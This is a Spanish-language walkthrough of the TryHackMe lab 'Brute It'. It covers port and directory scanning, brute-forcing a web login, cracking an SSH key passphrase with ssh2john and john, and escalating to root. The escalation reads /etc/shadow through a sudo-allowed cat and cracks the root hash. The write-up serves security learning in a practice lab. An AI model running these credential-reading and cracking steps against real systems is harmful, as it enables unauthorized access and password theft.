Brute It es una maquina de TryHackMe, fuerza bruta y ssh2john nos dio aceso a la maquina. Utilizando GTFOBins y cat obtuvimos nuestra flag root.txt y escalamos privilegios.
Room
Titulo |
Brute It |
Descripción |
Learn how to brute, hash cracking and escalate privileges in this box! |
Puntos |
730 |
Dificultad |
Facil |
Maker |
ReddyyZ |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ssh (22) y el puerto http (80) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# Nmap 7.80 scan initiated Wed Dec 9 19:56:37 2020 as: nmap -p- --min-rate 1000 -o allPorts brute.thm
Nmap scan report for brute.thm (10.10.192.18)
Host is up (0.36s latency).
Not shown: 64739 closed ports, 794 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Wed Dec 9 19:59:02 2020 -- 1 IP address (1 host up) scanned in 146.01 seconds
# Nmap 7.80 scan initiated Wed Dec 9 19:59:55 2020 as: nmap -p 22,80 -sV -sC -o servicePorts brute.thm
Nmap scan report for brute.thm (10.10.192.18)
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
| 256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
|_ 256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 9 20:00:15 2020 -- 1 IP address (1 host up) scanned in 19.99 seconds
|
HTTP
Encontramos la pagina web de apache en el puerto 80.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
|
kali@kali:~/thm/bruteit$ gobuster dir -u http://brute.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 15 -x php,html,txt
/admin (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
|
Encontramos un panel de logeo, en el codigo fuente encontramos dos posibles nombres de usuario.
1
2
3
4
5
|
</div>
<!-- Hey john, if you do not remember, the username is admin -->
</body>
</html>
|
HYDRA
Utilizamos hydra con el usuario admin
y el wordlist rockyou.txt
para lograr encontrar la contraseña para este usuario.
Ingresamos con las credenciales en el panel y logramos ver el contenido: la primera flag y una clave privada RSA encriptada.
SSH2JOHN
Utilizamos ssh2john
para obtener el hash y obtener con john
la frase en texto plano de la clave privada.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
kali@kali:~/thm/bruteit$ /usr/share/john/ssh2john.py rsa_encripted > rsa_hash
kali@kali:~/thm/bruteit$ john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
r[ ... snip ... ]l (rsa_encripted)
1g 0:00:00:04 DONE (2020-12-09 20:16) 0.2096g/s 3006Kp/s 3006Kc/s 3006KC/sa6_123..*7¡Vamos!
Session completed
kali@kali:~/thm/bruteit$
|
JOHN - USER
Utilizando la clave privada y la frase con el usuario en el servicio SSH logramos obtener una shell y nuestra flag user.txt
.
1
2
|
kali@kali:~/thm/bruteit$ chmod 600 rsa_encripted
kali@kali:~/thm/bruteit$ ssh john@brute.thm -i rsa_encripted
|
PRIVILEGE ESCALATION
Realizamos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos “root” para ejecutar el comando cat
. Utilizamos este comando para obtener la flag root.txt
.
GFOBins - cat
1
|
FLAG=/root/root.txt; sudo cat "$FLAG"
|
Utilizamos cat
para leer el contenido de /etc/shadow
para obtener el hash del usuario root y con john poder obtener la contraseña en texto plano y poder obtener una shell con este usuario.
1
2
3
4
5
6
|
john@bruteit:~$ FLAG=/etc/shadow; sudo cat "$FLAG"
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xD[ ... snip ... ]1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
[ ... snip ... ]
john@bruteit:~$
|
1
2
3
4
5
6
7
8
9
10
11
|
kali@kali:~/thm/bruteit$ john --wordlist=/usr/share/wordlists/rockyou.txt root_hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
f[ ... snip ... ]l (root)
1g 0:00:00:00 DONE (2020-12-09 20:23) 12.50g/s 3200p/s 3200c/s 3200C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kali@kali:~/thm/bruteit$
|
Shell con usuario root.